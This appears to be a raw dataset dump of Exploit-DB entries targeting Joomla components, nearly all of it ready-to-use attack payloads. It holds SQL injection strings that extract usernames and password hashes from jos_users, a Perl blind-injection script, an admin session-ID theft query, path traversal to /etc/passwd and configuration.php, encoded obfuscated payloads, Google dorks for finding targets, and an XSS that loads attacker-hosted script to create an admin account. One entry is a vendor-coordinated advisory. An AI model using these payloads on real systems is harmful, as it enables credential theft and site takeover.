deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39879
Description: Joomla! Component SecurityCheck 2.8.9 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-06-02
Author: ADEO Security

Exploit:
Information
------------------------------
Advisory by ADEO Security Team
Name: Stored XSS and SQL Injection in Joomla SecurityCheck extension
Affected Software : SecurityCheck and SecurityCheck Pro
Vulnerable Versions: 2.8.9 (possibly below)
Vendor Homepage : https://securitycheck.protegetuordenador.com
Vulnerabilities Type : XSS and SQL Injection
Severity : High
Status : Fixed

Technical Details
------------------------------
PoC URLs for SQL Injection

For determining database, user and version.

http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(database())))))='1
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(user())))))='1
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(version())))))='1

For steal admin's session ID (If admin is not online, page response with
attack detected string. If online, response with admin's session ID)

http://website/index.php?option='or(ExtractValue(rand(),concat(0x3a,(SELECT
concat(session_id) FROM %23__user_usergroup_map INNER JOIN %23__users ON
%23__user_usergroup_map.user_id=%23__users.id INNER JOIN %23__session ON %
23__users.id=%23__session.userid WHERE group_id=8 LIMIT 0,1))))='1

PoC URLs for XSS

Add a new admin to website silently while admin checking SecurityCheck logs

http://website/index.php?option=<script>var script =
document.createElement('script');script.src = "http://ATTACKER/attack.js
";document.getElementsByTagName('head')[0].appendChild(script);</script>

attack.js
https://gist.github.com/MuhammetDilmac/c680cc[PII_REDACTED]61bfdfd7b25da1ca


Disclosure Timeline
------------------------------
24/05/2016 SQL injection found
30/05/2016 Worked on one-shot exploit for SQLi
30/05/2016 While we were working on SQLi payload we also found XSS
31/05/2016 XSS payload prepared
31/05/2016 Vulnerability details and PoC sent to Protegetuordenador
31/05/2016 Vulnerabilities fixed in v2.8.10

Solution
------------------------------
Update to the latest version of SecurityCheck (2.8.10)

Credits
------------------------------
These issues have been discovered by Gokmen Guresci (gokmenguresci.com) and
Muhammet Dilmac (muhammetdilmac.com.tr).
Exploit-DB #8867
Description: Joomla! Component Seminar 1.28 - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-03
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                        \n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  print "  o   Joomla Component Seminar Blind SQL Injection Exploit              o\n";
  print "  o   Author:ThE g0bL!N                                                 o\n";
  print "  o   More info:http://extensions.joomla.org/extensions/calendars-&-events/events-registration/8426/details o\n";
  print "  o   vendor:http://seminar.vollmar.ws/                                 o\n";
  print "  o   Dork :   inurl:com_seminar                                        o\n";
  print "  o   Usage:   perl bachir.pl host path <options>                       o\n";
  print "  o   Example: perl bachir.pl www.host.com /joomla/ -s 2                o\n";
  print "  o                                                                     o\n";
  print "  o   Options:                                                          o\n";
  print "  o     -s   valid Article id                                           o\n";
  print "  o   Note:                                                             o\n";
  print "  o You can Change the match string by any content of the correct query o\n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  exit;
}
my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $sid     = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "s=i");
print "[~] Exploiting...\n";
if($options{"u"})
{
  $userid = $options{"u"};
}
if($options{"s"})
{
  $sid = $options{"s"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $sid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $sid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $sid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_seminar&task=View_seminar&id=".$sid." and SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1)=char(".$h.")";
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "seminar_boxA";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2009-06-03]
Exploit-DB #12184
Description: Joomla! Component SermonSpeaker - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-12
Author: SadHaCkEr

Exploit:
# Title:Joomla Component com_sermonspeaker SQL Injection Vulnerability 
# Author: SadHaCkEr
# Data  : 2010-04-12
 
[~]######################################### InformatioN #############################################[~]

#AUTHOR:            SadHaCkEr                                                
#Email:             n5s@hotmail.[choose ANY ONE]   IF U lucky  U will Find Me                             
#Website:           http://www.sadx.297m.com/                                
#Forum :            http://v4-team.net/cc                                    
    
[~]#########################################   ExploiT   #############################################[~]
  
[~] Vulnerable  :
  
http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id=[SQL]
  
[~] ExploiT         :
  
-9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/
  
[~] Example         :
  
http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id=
-9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/

 
   
[~]######################################### ThankS To ... ############################################[~]
  
[~] Special Thanks 2 :
  
RoMaNcYxHaCkEr, Mr.Safa7, Mn7oS & Sniper Code & Red Virus & HCJ & Mr.Wolf & ayaster & All Trayg Member .
  
[~] Trayg Team + V4-Team + SVT Team 
  
[~] GreetZ 2: My LoV3r + My Keyboard
 
[~]#########################################  ./Done   #############################################[~]
Exploit-DB #39028
Description: Joomla! Component Sexy polling 1.0.8 - 'answer_id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-16
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/64991/info

Sexy polling extension for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sexy polling 1.0.8 is vulnerable; other versions may also be affected. 

http://www.example.com/components/com_sexypolling/vote.php
POST
answer_id[]=[SQL Injection]
Exploit-DB #12067
Description: Joomla! Component Shoutbox Pro - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-05
Author: Vrs-hCk

Exploit:
 ================================================================================================

 Title    : Joomla Component com_shoutbox LFI Vulnerability
 Download : http://joomlacode.org/gf/project/shoutbox

 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_shoutbox&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n
Exploit-DB #42413
Description: Joomla! Component SIMGenealogy 2.1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-02
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component SIMGenealogy v2.1.5 - SQL Injection
# Dork: N/A
# Date: 02.08.2017
# Vendor : https://www.simbunch.com/
# Software: https://extensions.joomla.org/extensions/extension/clients-a-communities/communities/simgenealogy/
# Demo: https://www.simbunch.com/demos/simgenealogy
# Version: 2.1.5
# # # # #
# Author: Ihsan Sencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_simgenealogy&view=latest&type=[SQL]
# Etc..
# # # # #
Exploit-DB #41599
Description: Joomla! Component Simple Membership 3.3.3 - 'userId' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-14
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Simple Membership v3.3.3 - SQL Injection
# Google Dork: inurl:index.php?option=com_simplemembership
# Date: 14.03.2017
# Vendor Homepage: http://ordasoft.com/
# Software : https://extensions.joomla.org/extensions/extension/e-commerce/membership-a-subscriptions/simplemembership/
# Demo: http://ordasvit.com/simplemembership/
# Version: 3.3.3
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_simplemembership&Itemid=1&task=showUsersProfile&userId=[SQL]
# +/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,database())),0)--+-
# # # # #
Exploit-DB #7096
Description: Joomla! Component Simple RSS Reader 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-11
Author: NoGe

Exploit:
================================================================================================================================


  [o] Simple RSS Reader Component 1.0 Remote File Inclusion Vulnerability

       Software : com_rssreader version 1.0
       Vendor   : http://www.joomlashop.dk/
       Download : http://extensions.joomlashop.dk/index.php?option=com_docman&task=cat_view&gid=16&Itemid=47
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


================================================================================================================================


  [o] Vulnerable file

       administrator/components/com_rssreader/admin.rssreader.php

        include( "$mosConfig_live_site/components/com_rssreader/about.html" );



  [o] Exploit

       http://localhost/[path]/administrator/components/com_rssreader/admin.rssreader.php?mosConfig_live_site=[evilcode]


================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
================================================================================================================================

# milw0rm.com [2008-11-11]
Exploit-DB #5177
Description: Joomla! Component simple shop 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-23
Author: S@BUN

Exploit:
###############################################################
#
# joomla com_simpleshop SQL Injection(section)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl:"com_simpleshop"
#
# DORK 2 : allinurl: "com_simpleshop"section
#
################################################################
EXPLOIT :

index.php?option=com_simpleshop&Itemid=S@BUN&cmd=section&section=-000/**/union+select/**/000,111,222,concat(username,0x3a,password),0,concat(username,0x3a,password)/**/from/**/jos_users/*

################################################################
# S@BUN                i AM NOT HACKER              S@BUN
################################################################

 <mosinstall type="component" version="4.5.2">
  <name>simple shop</name> 
  <author>galore.co.za</author> 
  <creationDate>July 2007</creationDate> 
  <copyright>(C) 2000 - 2007 galore.co.za</copyright> 
  <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license> 
  <authorEmail>info@galore.co.za</authorEmail> 
  <authorUrl>www.galore.co.za</authorUrl> 
  <version>2.0</version> 

# milw0rm.com [2008-02-23]
Exploit-DB #5833
Description: Joomla! Component Simple Shop Galore 3.x - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-16
Author: eXeCuTeR

Exploit:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
@ Joomla ~ option: com_simpleshop ~ SQL Injection

------------------------------------------------------

@ AUTHOR: eXeCuTeR <executerx[at]gmail[dot]com>

------------------------------------------------------

@ HOME: milw0rm.com

------------------------------------------------------

@ DORK: :\

------------------------------------------------------

@ Vuln:
index.php?option=com_simpleshop&task=browse&Itemid=eXeCuTeR&catid=null%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8%20from%20jos_users--
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
					~EOF~

side note:

same vulnerability listed here: http://milw0rm.com/exploits/5743
but this was sent in back in 02/2008, must of missed it.  Original author: eXeCuTeR.

# milw0rm.com [2008-06-16]
Exploit-DB #44126
Description: Joomla! Component SimpleCalendar 3.1.9 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component SimpleCalendar 3.1.9 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://albonico.ch/
# Software Link: http://software.albonico.ch/downloads/file/3-simplecalendar-3-1-9.html
# Version: 3.1.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5974
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_simplecalendar&view=events&catid[0]=[SQL]
#  
# JTI4JTU1JTUwJTQ0JTQxJTU0JTQ1JTU4JTRkJTRjJTI4JTMwJTJjJTJmJTJhJTIxJTMwJTMxJTMxJTMxJTMxJTQzJTRmJTRlJTQzJTQxJTU0JTJhJTJmJTI4MHgyZSUyYyU3NiU2NSU3MiU3MyU2OSU2ZiU2ZSUyOCUyOSUyYzB4N2U3ZTdlN2UlMmMlMjglNTMlNDUlNGMlNDUlNDMlNTQlMjAlMjglNDUlNGMlNTQlMjglMzYlMzYlM2QlMzYlMzYlMmMlMzElMjklMjklMjklMmMlNjQlNjElNzQlNjElNjIlNjElNzMlNjUlMjglMjklMjklMmMyOTI1JTI5JTI5
# 
# http://localhost/[PATH]/index.php?option=com_simplecalendar&view=events&catid[VerAyari]=[SQL]
# 
# KC8qITAyMjI1VVBEQVRFWE1MKi8oNjYsQ09OQ0FUKDB4M2EsKC8qITAyMjI1U0VMRUNUKi8rR1JPVVBfQ09OQ0FUKHRhYmxlX25hbWUrU0VQQVJBVE9SKzB4M2EpK0ZST00rSU5GT1JNQVRJT05fU0NIRU1BLlRBQkxFUysvKiEwMjIyNVdIRVJFKi8rVEFCTEVfU0NIRU1BPURBVEFCQVNFKCkpLChFTFQoMT0xLDEpKSksMSkp
# 
# # # #

http://localhost/Joomla375/index.php?option=com_simplecalendar&view=events&catid[VerAyari]=(/*!02225UPDATEXML*/(66,CONCAT(0x3a,(/*!02225SELECT*/+GROUP_CONCAT(table_name+SEPARATOR+0x3a)+FROM+INFORMATION_SCHEMA.TABLES+/*!02225WHERE*/+TABLE_SCHEMA=DATABASE()),(ELT(1=1,1))),1))

http://localhost/Joomla375/index.php?option=com_simplecalendar&view=events&catid[0]=%28%55%50%44%41%54%45%58%4d%4c%28%30%2c%2f%2a%21%30%31%31%31%31%43%4f%4e%43%41%54%2a%2f%280x2e%2c%76%65%72%73%69%6f%6e%28%29%2c0x7e7e7e7e%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%2c2925%29%29
 XPATH syntax error: '10.1.21-MariaDB~~~~1joomla375' XPATH syntax error: '10.1.21-MariaDB~~~~1joomla375'
Exploit-DB #12623
Description: Joomla! Component simpledownload 0.9.5 - Local File Disclosure
Type: webapps
Platform: php
Date: 2010-05-16
Author: ALTBTA

Exploit:
[!]==========================================[!]

[~] Joomla Component simpledownload Remote File Disclouse
[~] Author : altbta (l_9@hotmail.com)
[~] Homepage : [ v4-team.com ] & [ xp10.me ]
[~] Date : 16 Mei, 2010

[!]==========================================[!]

[ Software Information ]

[+] Vendor : http://joomla.joelrowley.com/
[+] Price : free
[+] Vulnerability : Remote File Disclouse
[+] Dork : inurl:"com_simpledownload" ;)
[+] Version : 0.9.5 maybe lower also affected

[!]==========================================[!]

===[ Exploit ]===

http://site/index.php?option=com_simpledownload&task=download&fileid=[file]
http://site/index.php?option=com_simpledownload&task=download&fileid=/configuration.php

[!]=========~~{  altbta }~~=========[!]

RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V ! V 3
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr & al.bito
SnIpEr.SiTeS & &#1575;&#1576;&#1608; &#1575;&#1604;&#1580;&#1575;&#1586;&#1610; & &#1575;&#1608;&#1585;&#1606;&#1580; &#1605;&#1575;&#1606;
Exploit-DB #12618
Description: Joomla! Component simpledownload 0.9.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-16
Author: Xr0b0t

Exploit:
[!]===========================================================================[!]

[~] Joomla Component simpledownload LFI Vulnerability 
[~] Author : Xr0b0t (nyco.danis@gmail.com)
[~] Homepage : http://www.indonesiancoder.com | http://Xr0b0t.name | http://Malangcyber.com
[~] Date : 16 Mei, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://joomla.joelrowley.com/
[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"com_simpledownload" ;)
[+] Version : 0.9.5 maybe lower also affected 

[!]===========================================================================[!]

[ Vulnerable File ]
    http://127.0.0.1//index.php?option=com_simpledownload&controller=[LFI BY ARUMBIA]


[ XpL ]

    http://127.0.0.1//index.php?option=com_simpledownload&controller=../../../../../../../../../../../../../../../etc/passwd%00


[!]===========================================================================[!]

[ Thx TO ]

[+] kaMtiEz Ndang Rene...
[+] INDONESIAN CODER TEAM IndonesianHacker Malang CYber CREW Magelang Cyber
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,Yur4kha,Geni212


[ NOTE ]

[+] OJOK JOTOS2an YO ..
[+] Minggir semua Arumbia Team Mau LEwat ;)
[+] MBEM : lup u :">

[ QUOTE ]

[+] INDONESIANCODER still r0x...
[+] ARUmBIA TEam Was Here Cuy MINGIR Kabeh KAte lewat ..
[+] Malang Cyber Crew & Magelang Cyber Community
Exploit-DB #5743
Description: Joomla! Component SimpleShop 3.4 - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-05
Author: His0k4

Exploit:
/---------------------------------------------------------------\
\                                				/
/       Joomla Component simpleshop Remote SQL injection        \
\                                				/
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_simpleshop
[*] Dork      :  inurl:com_simpleshop "catid"

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_simpleshop&task=browse&Itemid=29&catid={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_simpleshop&task=browse&Itemid=29&catid=-1 UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user() FROM jos_users--

                
----------------------------------------------------------------------------
[*] Greetings :  Str0ke, all friends & muslims HaCkeRs...

# milw0rm.com [2008-06-05]
Exploit-DB #7667
Description: Joomla! Component simple_review 1.x - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-05
Author: EcHoLL

Exploit:
#Joomla com_simple_review Sql injection#
########################################
#[~] Author :  EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label Hippi Godlike Nitrous

#[!] Module_Name:  com_simple_review
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_simple_review"
########################################
 
www.scriptpage.com/index.php?option=com_simple_review&category=4+AND+1=2+UNION+SELECT+0,concat_ws(username,0x3a,password),2+from+jos_users--

 <name>simple_review</name>
 <creationDate>29/05/2006</creationDate>
 <author>Rowan Youngson</author>
 <copyright>This component in released under the Mozilla Public License Version 1.1</copyright>
 <authorEmail> rowans@gmail.com </authorEmail>

 <authorUrl>www.row1.info</authorUrl>
 <version>1.3.5</version>
 <description>Simple Review is a Review component for the Mambo CMS</description>

# milw0rm.com [2009-01-05]
Exploit-DB #44127
Description: Joomla! Component Smart Shoutbox 3.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # # 
# Exploit Title: Joomla! Component Smart Shoutbox 3.0.0 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: https://thekrotek.com/
# Software Link: https://extensions.joomla.org/extension/smart-shoutbox/
# Version: 3.0.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5975
# # # #
# Exploit Author: Ihsan Sencan 
# # # #	
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/component/smartshoutbox/archive?shoutauthor=[SQL]
# 
# JTMxJTI3JTIwJTJmJTJhJTIxJTMxJTMwJTMwJTMwJTMxJTUwJTcyJTZmJTYzJTY1JTY0JTc1JTcyJTY1JTJhJTJmJTIwJTJmJTJhJTIxJTMxJTMwJTMwJTMwJTMxJTQxJTZlJTYxJTZjJTc5JTczJTY1JTJhJTJmJTIwJTI4JTY1JTc4JTc0JTcyJTYxJTYzJTc0JTc2JTYxJTZjJTc1JTY1JTI4JTMwJTJjJTJmJTJhJTIxJTMxJTMwJTMwJTMwJTMxJTYzJTZmJTZlJTYzJTYxJTc0JTJhJTJmJTI4JTMwJTc4JTMyJTM3JTJjJTMwJTc4JTM0JTM5JTM2JTM4JTM3JTMzJTM2JTMxJTM2JTY1JTMyJTMwJTM1JTMzJTM2JTM1JTM2JTY1JTM2JTMzJTM2JTMxJTM2JTY1JTJjJTMwJTc4JTMzJTYxJTJjJTQwJTQwJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI5JTI5JTJjJTMwJTI5JTJkJTJkJTIwJTJk
#
# # # #